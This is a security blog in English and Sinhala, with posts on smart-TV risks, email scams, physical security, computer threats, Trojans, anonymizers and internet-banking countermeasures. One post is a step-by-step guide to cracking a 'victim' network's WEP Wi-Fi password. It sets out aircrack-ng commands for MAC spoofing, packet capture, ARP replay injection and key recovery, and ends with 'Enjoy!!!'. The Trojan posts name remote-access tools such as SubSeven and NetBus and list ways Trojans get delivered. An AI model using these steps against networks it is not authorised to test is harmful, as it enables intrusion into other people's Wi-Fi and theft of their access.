Thursday, April 19, 2012
Security Vulnerability of Digital Television (DTV)
Its said that 100 million TVs will be connected to internet by 2016. This will open up a total new market and more other benefits. Other than that in the same time it will discover vast number of targets for hackers.
Internet connected TVs uses IP addresses (Internet Protocol) and they will be connected to internet almost every time the TV is on. So the network interfaces of these televisions will be always connected to internet.
Spoiler alerts says
"Our goal was to see if we could hack into the set-top box, steal customer personal information, pirate services, and incur denial-of-service conditions. Just for yucks, I added two more objectives: to see if we could steal porn (typically, one of the biggest revenue streams for cable companies) or force porn onto another television that was watching Disney content, with the idea that offended customers would drop their service."
So what we can do is avoiding internet connected television but prevent doing transactions over internet connected television and be more conscious about what we are watching. Obviously television producers will come up with security options to prevent these vulnerabilities yet hackers will always find a way.
Tuesday, April 17, 2012
Hack a Wi-Fi Network’s WEP Password with Linux
This hack only works for WEP passwords. So the victim should have used WEP in their Wi-Fi network. For other authentication methods like WPA or WPA2 are also breakable. There are tools out there to hack WPA2 authentication also but that takes time and long process than this I will consider posting an article on that later. So lets see how to do the hack.
Do do this hack in the way I am going to describe you have to have Linux operating system. I would recommend you to have Ubuntu. Specialty with Ubuntu is its more user frendly and the terminal commands I will give will work on Ubuntu (commands like apt-get may change in other Linux distributions). And I take the assumption that you are familiar with Linux operating systems. (If you find any difficulty please ask)
Below are the steps:-
Use terminal and grant user super user or administrator rights. User can get it with su command or sudo bash command
1. Install Aircrack-ng (This is the tool used to crack the wifi. This tool does not come with Ubuntu hence you have to install it on terminal)
apt-get install aircrack-ng (Update Ubuntu before you use this command
apt-get update.)
2. Run the following to get a list of your network interfaces.
airmon-ng
3. Stop running Wireless interfaces.
airmon-ng stop (interface)
ifconfig (interface) down (We stop running wireless interface to change the MAC address of the interface)
4. Change the MAC Address of the wireless interface.
macchanger --mac 00:11:22:33:44:55 (interface) (You can add any MAC address here.We change the MAC address for security reasons this step is recommended but not essential)
5. Start monitoring the packets.
airmon-ng start (interface)
6. Dumps the packets. (You have to keep running the result of previous command and for this command open new terminal.We have to dump packets into a file so we can use that file when cracking the password)
airodump-ng -c (channel) -b (bssid) -w (file name) (interface) (Channel and BSSID can be taken from the result of airmon-ng start (interface) command)
7. Creating Traffic (You have to keep running previous two terminals and open a new terminal and use following command to boost up the traffic. This is useful when you have only one station to communicate with the router. This boost up the traffic so it will capture more data).
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
8. Replay attack to fast the hack. (Open a new terminal for this command. This command is also for boosing up the hack with ARP requests)
aireplay-ng -2 -p 0841 -c (dmac) -b (bssid) (interface)
9. Wait till Data section exceed at least 10,000 (number of data gathering change according to the size of the WEP key) in airmon-ng terminal and then hack for the key with following command.
aircrack-ng -b (bssid) (file name-01.cap)
After executing this command you will get the WEP password of thevictim Wi-Fi network.
Enjoy!!!
Thursday, October 20, 2011
බොරු Email?

- Fraudulent check scams - මේවයේ අපිට බොරු චෙක් පත් email විදිහට එනවා.
- Fraudulent lotteries - මෙහිදී ඔබට ලොතරැයි දිනුමක් ලැබුනා යැයි පවසා තොරතුරු ගැනීම හෝ දිනුම ලබා ගැනීමට ගෙවීමක් කරන්න ලෙස කියා සිටිනවා.
- Romance scams - මේකෙදි Scammer ඔබට කැමති බව හෝ වැනත් ආකාරයක රොමැන්ටික් දෙයක් කියනවා.
- Money recovery scams - මේ email එක එන්නෙ කලින්ම වෙන බොරු email එකකට අහු උන කෙනෙක්ව තවත් ඉදිරියට ගෙනියන්න.
- Charity scams - සමාජ සේවා ආයතන විදිහට මුදල් ඉල්ලා එන email.
- Employment scams - බොරු රැකියා අවස්තා පෙන්නල එවන email.
- Auction site and online selling scams - අන්තර්ජාලය හරහා ගනුදෙනු කරන අය (බඩු ගන්න/විකුණන අය) ඉලක්ක කරල එන email.
- Rental scams - ඔබේ ණය හිමි හෝ ගෙවල් අයිතිකාරයෙක් විදිහට එවන email.
- Debt collection scams - ඔබ කාට හරි, ආයතනයකට හරි ණයක් වෙලා තියෙනවානම් ඒ ණය වාරික ඔබෙන් රවටා අදාල ආයතනය හෝ පුද්ගලයා විදිහට ගන්න හදන email.
- Advance fee loan scams - ණය දෙන්නො විදිහට පෙනී ඉදල ඔබව රවටන්නට තැත් දරන email.
- Conference scams - බොරු සම්මන්ත්රණ සඳහා සහභාගී වෙන්න ඔබට ආරාධනා පත් එවන email.
- Pet scams or puppy scams - මේකෙදි වෙන්නෙ ඔබට සුරතක් සතෙක් විකුණන හෝ දෙන මුවාවෙන් email එවන එක.
- Fraudulent websites used in scams - Scammer විසින් හදපු වෙබ් අඩවියකට (මෙය ඔබේ බැංකුවේ වෙබ් අඩවියට සමානව හෝ ඔබ ගණුදෙණු කරන වෙනත් අඩවියකට සමානව සකස් වෙලා තියෙන්නෙ පුලුවන්) ඔබව navigate කරන සබැදි සහිතව email මෙහිදී එවනු ලබනවා.
- අපි විවිධ වෙබ් අඩවි වල ලියා පදිචි වෙනවා විවිධ දේවල් වලට (බාගත කිරීම් කරන්න, ෆෝරම් කියවන්න වගේ) මේ අඩවි වලින් අපේ email ලිපින ඉල්ලනවා ලියාපදිංචිය සඳහා.
- දම්වැල් email, ඒ කියන්නෙ විවිධ පණිවුඩ, පින්තූර අපි forward කර කර යවන email. මේ මඟිනුත් පුලුවන් email ලිපින ලබා ගන්න.
Sunday, October 16, 2011
Why Physical Security of an Organization is so Crucial?
Security of an organization very important and today organization take various actions to protect their information, assets and other important things. When looking at the security of an organization from a IT aspect, majority of people only consider about securing the organization using IT related solutions. They maybe add firewalls, make security policies, make better authentication systems...etc. When intruders find that organization is not vulnerable through networks or from other IT aspects they focus on physical vulnerabilities to accomplish their target.So if they only address the problem from such angle omitting the physical security fact of the organization, all other security precautions can be useless or will not give the outcome that they expected.

- Politically motivated threats: Strikes, riots, civil disobedience, terrorist attacks, bombings...etc
- Supply system threats: Power distribution outages, communications interruptions, and interruption of other natural energy resources such as water, steam, gas, and so forth.
- Natural environmental threats: Floods, earth quacks, storms, tsunami and tornadoes, fires, extreme temperature conditions...etc
- Manmade threats: Unauthorized access internally and externally, explosions, damages by offensive employees, misuse, employee mistakes and accidents, vandalism, fraud, theft and so on.
Wednesday, October 12, 2011
පරිඝනකයට එල්ල වන සතුරු උවදුරු හා අතුරු ආන්තරා
- සොරකම් කිරීම: මේ කියන්නෙ අන්තර්ජාලය හරහා කරන හොරකම් නෙමෙයි. ඇත්ත ලෝකේ භෞතිකව වෙන හොරකම් ගැන.
- විදුලි දෝශ: විදුලිය ඇන හිටීම, එකවර විශාල විදුලි ධාරිතාවයක් පැමිණීම, විදුලිය නිසි ධාරිතාවයට වඩා අඩුවෙන් (ඩිම්) පැමිණිම වැනි හේතු නිසා පරිඝනක පද්ධතියේ ඉලෙක්ට්රොනික උපාංග වලට හානි සිදු වෙන්න පුළුවන්.
- ඩිස්ක් ඇන හිටීම (Disk Failure): විවිද හේතු නිසා දත්ත ගබඩා කරල තියෙන හාර්ඩ් ඩිස්ක් වැඩ කරන්නෙ නැතුව යන්න පුළුවන්. මේ විදිහට ඩිස්ක් වැඩ කරන්නෙ නැතුව යන එකෙන් දත්ත නැති වීම නිතරම දකින්න පුලුවන් දෙයක්.
- ට්රෝජන් අශ්වයන් භාවිත කිරීම: මම මේ ගැන වෙනම ලිපියක් ලියල තියෙනවා. ඒ ලිපිය මෙතනින් ගිහින් කියවන්න පුලුවන්. ඒ විතරක් නෙමෙයි ට්රෝජන් අශ්වයෙක් වෙන පරිඝනකයකට යවන ආකාරය ගැන ලියපු ලිපිය මෙතනින් ගිහින් කියවන්න.
- Packet Sniffing: පරිඝනක ජාල (Network) හරහා දත්ත හුවමාරු වෙන්නෙ Data Packet විදිහට. මේ විදිහට පැකට් විදිහට ජාල හරහා හුවමාරු වෙන තොරතුරු ග්රහණය කරන එක තමයි වෙන්නෙ පැකට් ස්නිෆිං වලදි. මේ සඳහා ගොඩක් වෙලාවට Packet Sniffers කියන වැඩසටහන් වර්ගය තමයි භාවිත වෙන්නෙ. මේ විදිහට පාස්වර්ඩ් වගේ සංවේදී දත්ත සොරකමට ලක් වෙන්න පුලුවන්.
- චැට් හරහා (Chat Clients): අන්තර්ජාලය තුල පණිවුඩ හුවමාරු කර ගන්න විවිධ චැට් මෘදුකාංග හා වෙබ් අඩවි භාවිත කරනවා. මේ සමහර චැට් හරහා executable codes හුවමාරු කරන්න පුලුවන් නිසා පරිඝනකයට හරහා ප්රහාර එල්ල වෙන්න පුළුවන්.
- පෑල දොරවල් හා දුරස්ත පරිපාලන වැඩසටහන් (Back Doors and Remote Administration Programs): වින්ඩෝස් මෙහෙයුම් පද්ධතිය ක්රියාත්මක වන පරිඝනක විශාල වශයෙන් මේ ආකාරයේ උවදුරු වලට ලක් වෙනවා. මේ වැඩසටහන් උපයෝගයෙන් පිටස්තරයෙක්ට පුලුවන් ඔබේ පරිඝනකයට අන්තර්ජාලය හරහා වෙනත් ස්ථානයක සිට ඇතුල්වන්න සහ පාලනය කරන්න.
- Denial of Service : මෙය එක් ආකාරයක හැකර් ප්රහාරයක්. DoS හෙවත් Denial of Service ලෙස මේක හැදින්වෙනවා. මේකෙන් ඔබේ පරිඝනකය ක්රියා විරහිත කරන්න හෝ වෙනත් දත්ත Process කිරීම තුල කාර්ය බහුල කරන්න පුලුවන්. මෙයින් සිදු වන්නෙ ඔබට ඔබේ පරිඝනකය එම ප්රහාරය පවතින තාක් භාවිත කරන්න නොහැකි වීමයි.
- වෙනත් පරිඝනකයකට එල්ල වෙන ප්රහාරයකට අතරමැදියෙකු විදිහට ඔබව භාවිත වීම: මේ ආකාරයේ ප්රහාරයකට කියන්නෙ DDoS හෙවත් Distributed Denail of Service කියල. මේ ඩීඩොස් වැඩසටහන් පාවිච්චි කරල ඔබේ පරිඝනකය බළල් අතක් විදිහට වෙනත් අකටයුත්තක් සඳහා හැකර්ලා පාවිච්චි කරන්න පුලුවන්.
- අනාරක්ෂිත Windows Shares: ඔබේ පරිඝනකයේ තිබෙන අනාරක්ෂිත Sheres ප්රහාරකයෙකුට තමන්ගේ Worms, Bots, Viruses වගේ වැඩසටහන් ස්තාපනය කරන්න ඉඩකඩ සලසනවා.
- Mobile Codes (Java, JavaScript, ActiveX): පරිඝනකයේ ස්ථාපනය කරන විවිධ ආකාරයේ Mobile Codes නිසා පරිඝනකයක ආරක්ෂාවට ප්රශ්න ඇති වෙන්න පුළුවන්. මේ Programming Language නිසා වෙබ් අඩවි ගොඩනගන්නන්ට පුලුවන් විවිධ කේත (Codes) ලියා ඒවා ඔබේ බ්රව්සරය (Browser) තුල ක්රියාත්මක (Execute) කරවන්න පුළුවන්. මේ විදිහට බහුලව පාවිච්චි වෙන Mobile Codes තමයි Java, JavaScript, ActiveX යන ඒවා. මේවා වෙබ් අඩවි ගොඩනගන්නන්ට වගේම හැකර් කෙනෙකුටත් පුලුවන් ඔබේ පරිඝනකයේ තොරතුරු එකතු කරන්න හා වෙනත් හානි කර කේතයක් ක්රියාත්මක කරන්න.
- Cross-Site Scripting: මෙහිදී සිදු වන්නේ යම් ප්රහාරකයෙකු විසින් වෙබ් අඩවියකට කුමක් හෝ Script එකක් අමුණා යැවීමයි. ඉන් පසු යම් අවස්ථාවක ඒ වෙබ් අඩවිය ඔබට ප්රතිචාර දක්වනකොට අදාල හානිකර Script එකත් ඔබේ බ්රව්සරය හරහා පරිඝනකයට පැමිණීමයි. මෙවැනි වලට පරිඝනකයක් නිරාවරණය වන ආකාර ප්රධාන වශයෙන්, අවිශ්වාස කටයුතු වෙබ් අඩවි වල ෆෝරම් හා චැට් වලට සම්බන්ද වීම, ලින්ක් එකක් ඔබව ගෙනියන්නේ කොහේටද නොදැන ඒවා භාවිත කිරීම වැනි ආකාර හඳුන්වන්න පුලුවන්.
- Email Spoofing: මෙහිදී සිදු වන්නේ ඔබට යම් වෙබ් අඩවියකින් යැයි පෙන්වමින් Email එකක් එවනවා. නමුත් එය ඔබව ගෙනි යන්නේ ඔවුන් පෙන්වා දෙන අඩවියට නෙමෙයි. උදාහරණයක් විදිහට ඔබට බැංකුවේ වෙබ් අඩවියෙන් ලෙස පෙන්වා දෙමින් ඊමේල් එකක් එනවා ඔබ බැංකුවේ වෙබ් අඩවියට යාමට එය භාවිතා කරනවා නමුත් ඔබ යන්නේ ප්රහාරකයා විසින් නිර්මාණය කළ වෙනත් අඩවියකට. මෙය ප්රධාන වශයෙන් පාස්වර්ඩ් වැනි දේ සොරකම් කරන්න භාවිත වෙනවා.
- Email-Borne Viruses: මේවා තමයි ඊමේල් ඇමිණුම් (Attachments) විදිහට පැමිණෙන හානිකර කේත (Malicious Code). මෙවන් ඊමේලක ඇමිණුම විවෘත කරපු ගමන්ම අදාල හානිකර කේතය පරිඝනකය තුල ක්රියාත්මක වෙනවා.
- Hidden File Extensions: වින්ඩෝස් මෙහෙයුම් පද්ධති වල Option එකක් තියෙනවා Hidden File Extensions for Known File Types සඳහා. මේ Option එක සාමාන්යයෙන් ක්රියාත්මක වෙලා තමයි තියෙන්නෙ. මේවාත් වැඩි වශයෙන් ඊමේල් ඇමිණුම් විදිහට තමයි පැමිණෙන්නෙ. විවිද අනාරක්ශිත වෙබ් අඩවි වලින් බාගත කර ගන්න වීඩියෝ, ඕඩියෝ (Video/Audio) ගොනු වලත් මේ වගේ Hidden File Extensions තියෙන්න පුලුවන්. මෙයට උදාහරණ විදිහට,
- Downloader (MySis.avi.exe or QuickFlick.mpg.exe)
- VBS/Timofonica (TIMOFONICA.TXT.vbs)
- VBS/CoolNote (COOL_NOTEPAD_DEMO.TXT.vbs)
- VBS/OnTheFly (AnnaKournikova.jpg.vbs)
Saturday, October 1, 2011
ට්රෝජන් අශ්වයෙක් පරිඝනකයකට දක්කන්න!!
- Tini
- Netcat
- SubSeven
- Back Orifice 2000
- NetBus
- Client
- Server
- CD/DVD-ROM ඇරීම හා වැසීම
- BMP/JPG පින්තූර දිස් වීමට සැලැස්වීම
- මූසිකයයේ (Mouse)බොත්තම් (Button) වල වම දකුණ මාරු කිරීම
- වෙනත් වැඩසටහන් ආරම්භ කිරීම
- WAV ගොනු ධාවනය කිරීම
- මූසිකය පාලනය කිරීම
- විවිධාකාරයේ පණිවුඩ දිස් වීමට සැලැස්වීම
- වින්ඩෝස් මෙහෙයුම් පද්ධතිය (OS) වැසීම (Shut Down)
- ගොනු(Files) Download/Upload/Delete කිරීම
- Keystrokes යැවීම සහ යතුරු (Keys) අත්හිටුවීම (Disable)
- විකල්ප URL එකකට යැවීම
- Keystrokes ග්රහණය කර ගැනීම
- Screendump ගැනීම
- පරිඝනකයේ ශබ්දය අඩු වැඩි කිරීම
- පරිඝනකයේ මයික්රෆෝනයෙන් ශබ්ද පටිගත කිරීම

පරිඝනකයට පනින ට්රෝජන් අශ්වයෝ!!

- මුරපද ග්රහණය/යැවීම (Password Sending/Capturing)
- FTP Trojans
- Key Stroke Captures (මෙමගින් යතුරු පුවරුවේ ලියනය කරන හැම අකුරක්/සංකේතයක්ම ග්රහණය කර ගන්නවා)
- විනාශකාරී ට්රෝජන් අශ්වයන්
- Denial of Service (DoS)
- Proxy/MITM (Man In The Middle Attack) Trojans
- දුරස්ත ඇතුල්වීම් ට්රෝජන් අශ්වයන් (Remote Access)
- Software Detection Killers
- චැට් හරහා (Chat Clients) - Skype, AIM, Yahoo, Facebook Chat, Google Chat, ICQ, IRC, MSN, Trillian
- e-Mail පණිවුඩ වලට අමුණලා (Email Attachments)
- භෞතිකව පරිඝනක පද්ධතියට ඇතුල්වීමෙන්
- අන්තර්ජාල සෙවුම් මෘදුකාංග (Browser) සහ e-Mail මෘදුකාංග වල දුර්වලතා (Bugs) උපයෝගයෙන් (x-site scripting)
- ගොනු හුවමාරුව (File Sharing) - සව්යංක්රීයව (Autorun) ක්රියාත්මක වෙන ට්රෝජන් අශ්වයන් Flash Drives හා CD/DVD තුලට ඇතුලත් කිරීම
- Wrappers (වෙනත් වැඩ සටහන් වල සඟවා හෙවත් ඔතා එවීම)
- P2P සහ වෙනත් Freeware අඩවි හරහා
- News Groups - News Group අඩවියක ඇමුණුමක් සමඟ (ට්රෝජන් අශ්වයෙක් අමුණා) ප්රවෘත්ති ලිපි පල කිරීමෙන්
- අනාරක්ශිත වෙබ් අඩවි හරහා බාගත කිරීමෙන්
- පරිඝනකයක CD-Rom එක විවෘත කිරීම
- පරිඝනකයේ Screenshot ගැනීම
- Key Strokes ග්රහනය සහ ඒවා පහර දෙන්නාට යැවීම
- පරිඝනකයේ සියලුම ගොනු හා Drives වලට සම්පූර්ණ ඇතුලත් () වීමේ පහසුකම ලබා දීම.
- ඔබේ පරිඝනකය වෙනත් හැකිං කියාවලියක් සඳහා පාලමක් ලෙස භාවිතා කිරීම.
- යතුරු පුවරුව හා මූසිකය ක්රියා වියහිත කිරීම.
Friday, September 30, 2011
Anonymizers - ඇත්තටම ඇනෝවෙක් වෙන්න

- Anonymouse - මෙය ඉතා හොඳ ඇනොනිමයිසරයක් සහ මෙය නොමිලයේ බාගත කරන්න පුලුවන් . මේකෙ පාවිච්චි වෙන්නෙ CGI proxy එකක්, එයින් ඔබට anonymously වෙබ් පිටුවල සැරිසරන්න, anonymous e-mails යවන්න හැකියාව ලබා දෙනවා.
- ProxyKing.net - මේ ඇනොනිමයිසර සේවාව වෙබ් අඩවි වලට ඔබව හසු (track) කිරීමට වැලකීම සහ ඔබගේ පරිගනකයේ cookies ස්තාපනය කිරීමේ හැකියාව වලකනවා.
- AnonymousIndex.com - මෙය IP ලිපිනය සැඟවීම, වෙබ් පිටුවල දිස් වන දැන්වීම්, referrers සහ cookies කලමනාකරණය කරන අන්තර්ජාලයේ නොමිලයේ පවතින ප්රොක්සි සර්වර් එකක්.
- HideMyAss.com - නොමිලයේ ලබා දෙන ඇනොනිමයිසර සේවාවක්.
- ProxyFoxy.com - නොමිලයේ ලබා දෙන ඇනොනිමයිසර සේවාවක් සහ මෙමඟින් cookies, spyware සහ වෙනත් අනතුරුදායක scripts මඟහැරීම සිදුකරනවා.
Wednesday, September 14, 2011
Acunetix Web Vulnerability Scanner - Demostration
You can download this software form Acunetix website.
Security of Internet Banking (Part 3) - Countermeasures to Reduce Risks in Internet Banking

These are some countermeasures I have identified to reduce the risk in Internet banking for each attacks.
· User Surveillance
o Having a security policy regarding token and password handling.
· Theft of token and handwritten notes
o Having a security policy regarding token and password handling.
o Giving passwords that are easy to remember still hard to guess such as combing dictionary word with symbols and numbers.
· Hidden code
o Operating System/browser patching
o Code installation blockers
o Anispyware software
o Antiphishing software (URL inspection)
o Firewall for blocking inbound and outbound connections to unauthorized ports
o Intrusion/anomaly detection
o Best practices for browser security (cookies, window pop-ups, java support, etc)
· Worms and bots
o Operating System/browser patching
o Code installation blockers
o Anispyware software
o Custom application secure coding
o Firewall for blocking inbound and outbound connections to unauthorized ports
o Intrusion/anomaly detection
o Best practices for browser security (cookies, window pop-ups, java support, etc)
· E-mails with malicious code
o E-mail policy
o Code installation blockers
o Attachment blocking
o HTML code blocking
o Antispam software
o Anispyware software
o Antiphishing software (URL inspection)
o Firewall for blocking inbound and outbound connections to unauthorized ports
o Intrusion/anomaly detection
· Smartcard analyzers
o Noise generators
o Power and time neutral code designing
· Smartcard reader manipulator
o Secure smartcard interface design and implementation
· Brute force attacks with PIN calculations
o Increasing number of digits (at least eight digits)
· Social engineering
o Increasing security awareness
o Simple URLs that are easy to remember
o Antiphishing software (URL inspection)
· Web page obfuscation
o Monitoring the domain name server (DNS)
o Prohibiting the IP addresses instead of URLs.
o Using predetermined list of valid URLs.
· Pharming
o Monitoring the server
o Patch management
o Intrusion/anomaly detection
o Firewall
· Active man in the middle attacks
o Using predetermined SSL certificates
o Mutual authentication and encryption through client-server SSL
· Session hijacking
o State management to prevent session ID specification in the message, session ID rotation and life cycle management
· Brute force attacks
o Monitoring the server
o Patch management
o Intrusion/anomaly detection
o Firewall
· Bank security policy violation
o Security policy implementation according to standards such as ISO 17799
· Website manipulation
o Monitoring the server
o Patch management
o Intrusion/anomaly detection
o Firewall










